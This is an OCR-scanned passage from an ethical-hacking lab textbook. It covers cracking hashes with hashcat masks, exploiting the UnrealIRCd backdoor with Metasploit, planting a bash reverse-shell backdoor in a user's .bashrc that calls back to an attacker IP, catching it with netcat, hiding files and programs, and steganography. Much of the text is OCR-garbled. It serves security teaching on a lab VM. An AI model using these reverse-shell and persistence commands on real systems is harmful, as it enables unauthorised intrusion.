https://hashcat.net/wiki/doku.php?id=mask_attack

c 29f373d1fdfddaf4b7150b7970760583f59f4adb
° 10 digits

+  $1$YUR1TMSw$uKeaGaBNcNz2dUiicfNw21
° Begins with the word “Laser”

o Followed by an uppercase letter and 3 lowercase letters

° Ends with 1 digit
RECOMMENDED GRADING CRITERIA
+  Adocument containing the following information

o The two masks utilized to crack the hashes
o The two passwords and corresponding hashes

° Screenshots of the finished attacks (showing “Cracked” status)

o Abrief description discussing the relationship between password complexity and cracking

times
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CHAPTER 49

Maintaining Access - Backdoors

DANTE ROCCA AND MATHEW J. HEATH VAN HORN, PHD

One of the final stages in the ethical hacking lifecycle is maintaining access. To maintain access a backdoor must
be installed into the system. Metasploitable3 already has a backdoor installed, so we will show you how to detect
and utilize the backdoor. We will also show you how to install your own backdoor.

LEARNING OBJECTIVES

+ Learn how to prepare and setup Metasploit to execute an attack
+ Install a backdoor through a vulnerable version of vsftpd

« Connect to Ingreslock backdoor with telnet

PREREQUISITES

+ Chapter 42 - Building the Baseline Environment

+ Chapter 43 - Nmap Basics

DELIVERABLES

* Screenshot of /etc/inetd.conf file on remote machine

« Screenshot of /etc/shadow file on remote machine

RESOURCES

+ Metasploitable 2 Documentation - https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-
guide/#backdoors

+ ABDO HANY - “Exploiting FTP in Metasploitable 2" - https://medium.com/@abdolane23/exploiting-ftp-
in-metasploitable-2-47b89fc0e654

* rwbnetsec - "How To - Metasploitable 2 - IngresLock Exploit Explained” - https://www.youtube.com/
watch?v=FuwWjwWt75dM

+ “Systemd Backdoor” - https://haxor.no/en/article/systemd-backdoor
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+ Airman - "9 Ways to Backdoor a Linux Box" - https://airman604.medium.com/9-ways-to-backdoor-a-
linux-box-f5f83bae5a3c

CONTRIBUTORS AND TESTERS

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
+ Bernard Correa, Cybersecurity Student, ERAU-Prescott

Phase | - Attack Setup

Before installing a backdoor, the attack must be set up and planned to ensure the exploit will work.

NOTE: Screenshots vary from the commands because the tester used the same basic architecture as Chapter
42 but used different IP addresses. All the commands in this chapter assume that the attacking machine is
100.100.100.8 and the target machine is 200.200.200.10.

1. Using Eagle Net, start the following machines:
1.1. KalivM
1.2. Metaploitable3-Linux
1.3. DHCP Server
1.4. Router

2. Navigate to your Kali VM and open a terminal

3. Use the following command to find your own IP address and take note of it

4. Launch a Nmap scan against the 200.200.200.0/24 network to see which hosts are up

5. Once you've identified the active hosts, leverage your knowledge from Chapter 43 to scan each
host's OS to discover the Linux target

6. Fingerprint the target machine to identify the active services running


https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c
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05-29 19:44 MST

Not shown:

netbios-ssn
ipp

PpP

05s: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

formed. Plea eport any i ‘nmap.org/submit/ .
(1 host up

Figure 1 - Results of a detailed fingerprint scan of all ports

7. We see an IRC daemon running on port 6697 of our target machine. This is easily recognized as a
security hole that someone placed there earlier

Phase Il - Take advantage of IRC

Internet Relay Chat (IRC) is one of the oldest group chat software programs. A Google search tells us that
UnreallRCd is famous for its use as a backdoor on systems.

1. Type the following command to start Metasploit

> msfconsole

2. In Metasploit, there are numerous exploits. To find what we're looking for we need to use the search
command

search unrealIRCd
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msf6 > search unrealIRCd

Matching Modules

# MName Disclosure Date Rank Check Description

@ exploit/unix/irc/unreal_ircd_3281_backdoor 2010-86-12 [: lent No UnrealIRCD .8.1 Backdoor Command E
xecution
Interact with a module by name or index. For example info @

msf6 > i

Figure 2 - IRC found as a backdoor exploit

3. This results in a single option, so we will use it

> use 0

4. Following this, the options for the exploit must be configured. View the options with this command

> show options

5. Set the remote host option (the target) with this command

> set RHOST 200.200.200.10

6. Set the remote port option (the target) with this command. Remember we found this service
running on port 6697

> set RPORT 6697

7. You can verify your settings at any time by using the show options command again

8. Search for the available payloads for this exploit by typing

> show payloads
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> show pa

Disclosure Date ank Check Description

No Add user with useradd
No ix Command Shell, Bind TCP
No « Command S Bind TCP
No < Command Shell, Bind TCP
ommand Bind TCP
ommand,
ommand
ommand
ommand
ommand
ommand

@ o e

® -
o o

WA W W
m ™

3

Figure 3 - Choose a payload

9. You might have to try several payloads until you are successful, but we usually try Telnet first

> set payload 6

10. View the payload option and complete any missing information
payload options

msf6 exploit( ) > show payload options
In id par: r : ad", use "show -h" for more information

Module options (exploit/unix/irc/unr
a Current ting Required
CHOST
CPORT
Proxies

RHOSTS 1@
RPORT 6697

LPORT

Exploit tar

Figure 4 - Payload is missing local host (Kali) IP address

11. Add our attacking VM IP

> set LHOST 100.1
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options
e "show -h" for more informa

Module options

Name C ing Required

CHOST no
CPORT no
:port][ ...
com/docs/using-m loit ics/using-metasploit.html

N,
LHOST 108.0 sten address (an int
LPORT 4444 The listen port
Exploit t:
Id Na

Automatic Ta

the full module info with the info, or o -d command.

exploit( ) > 11

Figure 5 - Local Host IP address is set

Phase Il - Executing the exploit

All we have to do now is run the exploit and see what we can do with our access.

1. Type the following line and wait for a shell connection to be established

rse TCP double handler on
697 - Connected to 1@ 14
our hostn
resolve your hostname; using your IP
ommand ...

iting
Writing
ding

B is input ...
Command shell session 3 : (1 b L > 18.¢ 14 641 ) ( @ g :15:44 -@700

Figure 6 - Run the exploit
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2. Check who you are logged in as using the following command

whoami

.0.2.14:6697 ...
NOTICE AUTH :+** Looking up your hostname ...
NOTICE AUTH :#** Couldn't resolve your hostname; using r IP address instead
Sending backdoor command ...

pted the second client connection ...

Command: echo H@JuzMUBz jBuWAmfT ;
Writing

"HBJuzMUBZ jBuWAmMT\r\n"
Matching ...
B is input ...
Command shell session 3

whoami
boba_fett

Figure 7 - Results of whoami

3. So now we know we are the user Boba Fett. Lets see what else we know

> groups

docker

Figure 8 - Groups

4. We (Boba Fett) are part of the docker group. Let's verify with commands

> cat /proc/self/cgroup
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id
uid=1121(boba_fett) gid=1@@8(users) groups=100(users),999(docker)

Figure 9 - verifying we are inside a Docker container

5. Using Docker is a book in itself and there are various methods to gain root access which is beyond

the scope of learning about backdoors. Itis enough to know that we can use an existing backdoor to
gain access to the victim’s machine

6. Press Ctrl-C to end the exploit

7. Typeexit to leave metasploitable

Phase IV - Installing a Backdoor

There are various means to create a backdoor in a target machine. Physical access, phishing, website cookies,

etc. Each topic on its own is worthy of a short book. We will assume you have the credentials obtained from
Chapter 47:

USERNAME: leia_organa
PASSWORD: help_me_obiwan

1. From a Kali terminal ssh into the metasploitable3 machine

ssh leia organa@200.200.200.10
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//help.ubuntu.com/

ailable.
to upgrade to it.

from 1@ 13

Figure 10 - SSH login using Princess Leia’s Creds

2. Since we already know that Princess Leia has root access, we add a bash command that will reach
out to our Kali machine whenever she logs into the target machine

‘bash -i >& /dev/tcp/100.100.100.8/13

o 3. echo repeat the text that exists between the single quotes (')

o 4. bash -i creates an interactive bash shell

o 5, >& /dev/tcp/100.100.100.8 1337 redirects all input and output traffic to a remote server at
IP address 100.100.100.8 listening on port 1337 (1337 stands for leet as in elite; a hacker joke)

o 6. 0>&1 redirects standard errors to standard output. This way we can see any errors on our
screen

o 7. >>~/.bashrc write the echo text to the file .bashrc, the startup bash file when a user starts
their bash session

i »& fdev/tcp/10.0.2.13/1 @>51" »>» ~/.bashrc

Figure 11 - Adding backdoor

8. Exit the ssh session by typing exit

Phase V - Connecting through the backdoor

Finally, to make sure our backdoor is working, we need to connect to it. We installed the backdoor on our target
machine. But we need to listen for when the backdoor is opened. We run Netcat to listen continuously for the
specific TCP session. This will launch whenever Princess Leia logs into her computer.
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8.1. Start a terminal on the Kali machine

8.2. Start Netcat listening (-I) on port (-p) 1337 and give us all messages (-v meaning verbose) by typing

> nc -1lvp 1337

—1 J— | -

L$ nc -lvp 133:

listening on [any] 1337

Figure 12 - Kali is using Netcat to listen for
Princess Leia’s logon

8.3. Navigate to the Metasploitable3 VM and log in as Princess Leia

Ubuntu 14.04 LTS metasploitable3-ubl404 ttyl

metasploitable3—ubl404 login: leia_organa
Passuword:
Last login: Thu May 30 17:39:13 UIC 2024 from 10.0.2.13 on pt=s-0

Welcome to Ubuntu 14.04 LTS (GMU-Linux 3.13.0-24-generic xB86_64)

= Documentation: https:--help.ubuntu.comn~
Mew release '16.04.7 LTS’ available.
Run 'do-release—upgrade' to upgrade to it.

Figure 13 - Logging in as Princess Leia

8.4. Now return back to your Kali terminal and you can see a session was established with our target.
If we run a few commands, we can see that we have all the rights and privileges of Princess Leia
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listening on
1@. 14: in
connect to [1

host lookup failed: Host
from (UNKN ) [1@.

up failure

bas con [ efused

: nnection refused
1b1404:~% whoami

asploitable3-ubl4@4:~% group
"group’ found, did you mean:
roups’ from pa ‘coreutils’ (main)

nd not found
sploitabl

-ubl4@4:
-ubl14@4: ~!

-ubl1404:

.bash_history
.bash_logout

editor
-—ubl404:

Figure 14 - We're in!

End of Lab

MATHEW J. HEATH VAN HORN, PHD

Deliverables

4 Screenshots are needed to earn credit for this exercise:

+  Correctly configured Metasploit payload options
. Metasploit attacked successfully completed
. Backdoor successfully added to Princess Leia's ~/.bashrc file

+  Successful Netcat connection to Metasploitable 3 VM

Assignment 1 - Darth Vader
Install a backdoor into Darth Vader's account just like we did for Princess Leia
the deliverables.

. Grading criteria are the same as
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Assighnment 2 - Han_Solo

Use https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c or other resources to
install a different type of backdoor on Han_Solo's login account. Document your sources and what you learned.

RECOMMENDED GRADING CRITERIA

. Sources are documented (weblinks are okay)
+  Screenshot of the implementation on the target account
. Screenshot of successful Netcat connection

. Discussion on what you learned about the process

No Figures in this Chapter
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840 MATHEW J. HEATH VAN HORN, PHD

CHAPTER 50

Covering Tracks - Hiding Programs and Files

DANTE ROCCA

Part of maintaining access is covering your tracks. One easy way to cover your tracks is through hiding files and
programs. Additionally, the use of steganography can be used both to cover tracks and to send infected files.

LEARNING OBJECTIVES

* Create and view hidden files on Windows and Linux

+ Utilize steganography to hide a file

PREREQUISITES

+ Create a Windows Server

» Build the Baseline Environment

DELIVERABLES

+ Screenshot of Is -a command showing a hidden file
+ Screenshot of file properties window in Windows showing a hidden file
+ Screenshot of hide programs and features enabled in Windows

+ Screenshot of OpenStego extraction success window

RESOURCES

+ Ojash Yadav - “"How to Hide Apps on Windows” - https://www.maketecheasier.com/hide-apps-windows/

+ "How to Show Hidden Files in Linux” - https://phoenixnap.com/kb/show-hidden-files-linux

CONTRIBUTORS AND TESTERS

+ Justin La Zare, Cybersecurity Student, ERAU-Prescott
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Phase | - Hidden Files in Linux

In Linux, creation of hidden files is important to hide files from users. Luckily, creation of hidden files is easy in

Linux. Unfortunately for our purposes, viewing hidden files in Linux is quite easy.

1. Start the Kali VM. Open the terminal in any directory and create a text file with a message in it. For
our example, the file will be called hiddenMessage.txt

2. Use Is to show the file you created in the directory

3. Hidden files in Linux are created by adding a period to the front of the file name. To do this in the
terminal, type the following command

> mv hiddenMessage.txt .hiddenMessage.txt

4. Now use Is again to make sure the file is hidden

5. To view the hidden file, use the following command

Phase Il - Hidden Files in Windows

Similar to hiding files on Linux, hiding files and viewing hidden files is easy on Windows.

1. Launch the Windows VM and create a new text file on the desktop. Name it whatever you would like

2. Right-click the newly made file and select Properties

3. Inthe attributes section under the general tab, check Hidden
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Figure 1 - Screenshot of File Properties window

4. Click Apply and then OK. You should see the file disappear from the Desktop
5. To view the hidden file, open File Explorer. Go to Desktop in File Explorer

6. Click the view bar at the top. Check the box that says Hidden items
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T - T = T——
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[ewvirn
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Figure 2 - Screenshot of file explorer view bar

7. The hidden file should reappear on the desktop and in the File Explorer window

Phase Il - Hiding Programs in Windows

The ability to hide programs is key for hiding a virus or malware. While there are many techniques for doing
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this we will show one using group policy editor.

1. Right-click the Windows start icon and then click run. In the textbox that pops up, type the following

> gpedit.msc

2. Hit enter, and in the left pane of the Local Group Policy Editor window that opens, click the
Administrative Templates tab under the User Configuration tab

3. Inthe right pane, double-click Control Panel
4. Inthe right pane, double-click Programs

5. Right-click the Hide “Programs and Features” page. Select edit

B

AN e—r

Figure 3 - Screenshot of Hide Programs and Features page in Local Group Policy Editor

6. Click the Enabled radio button and then click Apply and OK. This will prevent users from accessing the

programs and features page. This will prevent users from accessing the programs and features page to
view and uninstall programs
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Figure 4 - Screenshot of Hide Programs and Features Enabled

Phase IV - Steganography

MATHEW J. HEATH VAN HORN, PHD

Finally, sometimes, we want to hide a file by putting it in another file. This practice is known as steganography.

1. Switch to the Kali VM. Start by creating one text file you want to hide. Then, download any image file

to hide the message in

2. Click the Kali logo at the top left and search for OpenStego. Open the program

NOTE: If you do not see OpenStego, follow the steps to install the program.

2.2. Click “Download” at the top of the page

> sudo dpkg -i <filen:

2.1. Navigate to https://www.openstego.com in the Kali VM

2.3. Download the latest release; the file should end with the .deb extension

2.4. Run the following command on the downloaded file to install OpenStego.

3. Click the three dots next to the Message file input. Locate the text file you made and select it

4. Click the three dots next to the Cover file input. Locate the image you downloaded and select it


https://www.openstego.com/
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5. Click the three dots next to the Output file input to select where to save the stego file. If you don't
specify a path and type a name, it will be sent to the current user's home directory

Efe Heln
Bata hiding Illllr da la In har miess locking fMles
i e T
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Figure 5 - Screenshot of Hiding Data using OpenStego

6. Click Hide data

7. Now that we've hidden the message, we can try to extract it. First, delete your message file

8. Now go back to OpenStego and then click the Extract data tab
9. Click the three dots near the Input stego file input and select your stego file

10. Click the three dots near the Output folder for message file input and select where you want the
message to be sent
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Figure 6 - Screenshot of Extracting Data using OpenStego
11. Click the Extract data button

12. Go to where you saved the message and check to make sure your message is still the same

End of Lab

Deliverables

4 Screenshots are needed to earn credit for this exercise:




846 MATHEW J. HEATH VAN HORN, PHD

+  Screenshot of Is -a command showing a hidden file
+  Screenshot of file properties window in Windows showing a hidden file
+  Screenshot of hide programs and features enabled in Windows

+  Screenshot of OpenStego extraction success window

Homework

Assignment 1 - Find the hidden message in this file (link to photo)

+  Download the file and find the hidden message inside it

+  Take a screenshot of the hidden message

Assignment 2 - Choose an alternative
Research an alternative to OpenStego and use it to create new hidden files. Write a short explanation covering
the following:
. Why did you settle on your selection? Was it the features, ease of use, cost, etc.?
. Compare and contrast to using the tool you selected to OpenStego

+  What do you believe are the limitations of using steganography in your daily operations?

No Figures in this Chapter
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PART V

SUPPLEMENTAL MATERIAL
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CHAPTER 51
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Educational Users of this Material

MATHEW J. HEATH VAN HORN, PHD

ARIZONA

+ Embry-Riddle Aeronautical University - Prescott Campus

MARYLAND

+ Prince George's Community College
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